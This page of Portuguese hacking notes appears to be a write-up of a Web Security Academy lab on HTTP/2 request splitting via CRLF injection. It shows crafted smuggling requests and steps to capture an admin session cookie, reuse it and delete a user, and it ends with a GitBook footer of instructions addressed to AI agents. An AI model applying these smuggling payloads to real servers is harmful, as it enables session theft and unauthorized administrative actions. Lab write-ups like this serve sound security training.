> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/http2-splitting-via-crlf-injection.md).

# HTTP/2 Request Splitting via Injeção de CRLF

### Divisão de requisições HTTP/2 via injeção CRLF

O front-end rebaixa requisições HTTP/2 para HTTP/1 e não limpa os cabeçalhos corretamente. / Essa falha permite um ataque de divisão de requisições, usado aqui para envenenar a linha de resposta e acessar o painel de administração para remover o usuário **carlos**. / Um administrador se conecta a cada **10 segundos** e a conexão com o back-end é redefinida a cada **10 requisições**, facilitando voltar para uma conexão limpa.

* Mesmo que a consulta esteja mal formada, o servidor não retorna nenhuma mensagem de erro.
* Exemplo de tentativa em HTTP/2:

```http
POST / HTTP/2
Host: 0a28000a0454ccd8800dee4e00990069.web-security-academy.net
Tranfer-Encoding: chunked

3
abc
X


```

Nenhum erro é gerado.

* Adicionou um cabeçalho personalizado aos **Cabeçalhos da Requisição** (Burp):

```http
Nome:
teste
Valor:
teste
Transfer-Encoding: chunked
```

<figure><img src="/files/b249e4c691267eb226abddd6e3a4fce7684dd737" alt=""><figcaption></figcaption></figure>

* Com uma requisição GET contendo um corpo, o servidor especifica que GET não pode carregar um corpo, o que confirma que existem algumas validações, mas elas continuam insuficientes para cabeçalhos injetados.

<figure><img src="/files/1a79fb6a4c1c69042bf5656460823ce181142ecf" alt=""><figcaption></figcaption></figure>

#### Injeção CRLF via cabeçalhos HTTP/2

Ao posicionar os cabeçalhos controlados via HTTP/2, a injeção CRLF é aceita. / Você pode então inserir uma consulta adicional após a requisição legítima durante o rebaixamento para HTTP/1.

Exemplo de payload smuggled:

```http
GET / HTTP/2
Host: 0a28000a0454ccd8800dee4e00990069.web-security-academy.net


```

<figure><img src="/files/f10c7e62eb69027c4c85fcdbf265c99e579a0bb2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/60e1fed7c392b4d62c9370eab2ad24d828b250ca" alt=""><figcaption></figcaption></figure>

#### Exploração

1. Injete uma requisição smuggled apontando para:/ **GET / HTTP Admin/1.1**

<figure><img src="/files/86bc0405041bc2653c6dc02a67d9a10a8aba5006" alt=""><figcaption></figcaption></figure>

* Envie várias requisições para que o administrador acione a resposta armadilhada.

```http
teste

GET /admin HTTP/1.1
Host: 0a28000a0454ccd8800dee4e00990069.web-security-academy.net
```

* Intercepte a requisição do back-end /admin contendo o \*\*cookie de sessão do admin\*\*.

<figure><img src="/files/bfc02223151d6674cb7bb372de5695d9269ea866" alt=""><figcaption></figcaption></figure>

1. Reutilize essa sessão roubada para acessar o painel de administração.
2. A partir do painel, exclua o usuário **carlos**.

<figure><img src="/files/52706557fcf2403d7d5cdae583be435abeb83a09" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/http2-splitting-via-crlf-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
